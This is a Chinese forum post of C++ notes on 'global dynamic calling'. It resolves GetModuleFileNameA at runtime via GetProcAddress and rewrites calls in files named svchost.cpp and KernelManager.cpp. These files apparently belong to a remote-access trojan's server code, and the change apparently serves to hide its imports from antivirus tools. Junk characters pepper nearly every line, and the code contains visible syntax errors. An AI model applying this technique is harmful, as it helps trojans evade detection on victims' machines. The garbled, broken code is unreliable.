返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
& l. ]! }4 ~4 p9 L$ Gsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
( r! ~/ ~7 J( R' N& S----------------------------------------
9 }4 @  e  I* W- C" XDTDY.h:. e- f; W, ]. \5 t4 z% w

" I! g8 g- x* ?. F1 J/ Y#if _MSC_VER>1000
5 L" O$ R9 T. k0 s9 g) p5 f1 `#pragma once1 I: {1 G% |+ t& j1 t; V
#endif //_MSC_VER>10006 g* H2 y  m1 {9 n( U: L8 @
#include<windows.h>
# j" t% Y2 I( e' B7 n7 {8 s! C' S5 m3 K4 n! e4 x" l
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);* t5 ]) {5 [5 u( A3 X  F3 q+ H
class DTDY
( L6 ~1 n% I( v{6 q  Y8 w: `) p! O' N7 W; D
public:
+ z. S% W. y% l% D! _: p2 n! n( hDTDY();
9 ~! i8 O+ `1 t0 a$ v$ y0 P' U/ svirtual ~DTDY();) |! U4 H6 a1 A  m
public:: q) F9 H9 j* g
static pGetModuleFileNameA MyGetModuleFileName;) }9 e! r+ g$ B8 z: c0 Z, ]
static BOOL FunInitiallization();
( V% ?+ m  {3 g2 H  M) `};3 y9 f1 c# R$ ]6 u9 u! m" q3 w
#endif, K+ k  l2 N1 p, @7 v; @  z
----------------------------------------! |. w0 N$ @) v8 Q9 e' _8 G

7 a5 p4 ]; D8 ZDTDY.cpp:
0 Y$ P0 D& }0 `7 y' q2 ~
, }5 v$ d/ P4 u* I3 h6 Z9 l#include "DTDY.h"
: p% d3 `4 {) xpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;* G5 ~. c7 ~3 j, I1 f# r; {
DTDY:TDY()4 J, I& v( z; |% D
{
$ G' d- K. _4 y, l  E}6 x: O$ F$ \2 y: D
DTDY::~DTDY()2 y. G+ C6 c. F! u- S
{
" G5 a3 E! k2 V}# O+ e% O% G4 d5 l* P* v2 Z
BOOL DTDY::FunInitiallization()
+ D8 |7 }, v4 X0 S, y: o{
! q2 q( Q: b! u/ t, ZHMODULE hModule=LoadLibrary("kernel32.dll");3 K4 J7 b- x1 m0 C# J
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
) [/ ]- c3 G' G% `. T* n/ h, }9 bif(!MyGetModuleFileName=) return FALSE;
5 G, _' h0 q$ D  T6 [' E, L! _$ F7 T( {* x* M
return TRUE;
6 D( j1 G# |( s, A* }+ f}
% }6 c; |  ]! y$ T. w----------------------------------------, C( o$ q. j2 ], J/ d. X7 s/ ^9 `
svchost.cpp:
7 b: @3 ~  U8 X2 P5 x% g' o$ G8 K! o1 i6 M1 p
#include "DTDY.h"2 |8 j% [3 l8 N2 @
- N7 s4 q  b9 }3 y3 i  e7 ?
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)1 O9 ]6 G/ G* _% _
{
1 s- X" o9 K% r: Cswitch(ul_reason_for_call)' _& H3 y$ W8 S' F1 F( l; V
{
2 H: m6 q0 Q: Bcase DLL_PROCESS_ATTACH:
3 I8 p6 F+ d. [, o: Mif(!DTDY::FunInitiallization()) return FALSE;, t+ W% M  s. X0 U' {1 T( w% J

( [: T1 P$ e9 }! \" b$ T  xbreak;) M# i+ b) W: I" M# d) A
}
7 M% G1 T3 O" i0 Z  E9 K) e}
6 n8 z7 [% J' }# V
/ `; A, ~5 z) ]- X* p: e* U7 x% z& X
& Y% O7 Y9 K* V+ T0 r  xGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
2 g- w" ~  ]3 p. }" t2 Q改写为
4 L7 Y( b0 A0 Y& RDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
; ^1 w, x# ~& v. {( U( X7 v% g8 }----------------------------------------/ |7 ]8 T/ o& t( Q5 Q0 e
KernelManager.cpp:8 X' t! m0 M- @6 d% o' T( U  I
3 x3 z4 D; j7 z0 H0 F4 a
#include "../DTDY.h"
# @4 L* B3 ?7 T1 M( `7 EGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));9 [; q8 f' `8 y$ g9 P$ l
改写为0 y3 J8 J4 u: R. ~3 M/ a* }% `! c
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
: s5 L8 z4 Z' b1 D* O8 Y) s' z----------------------------------------

返回列表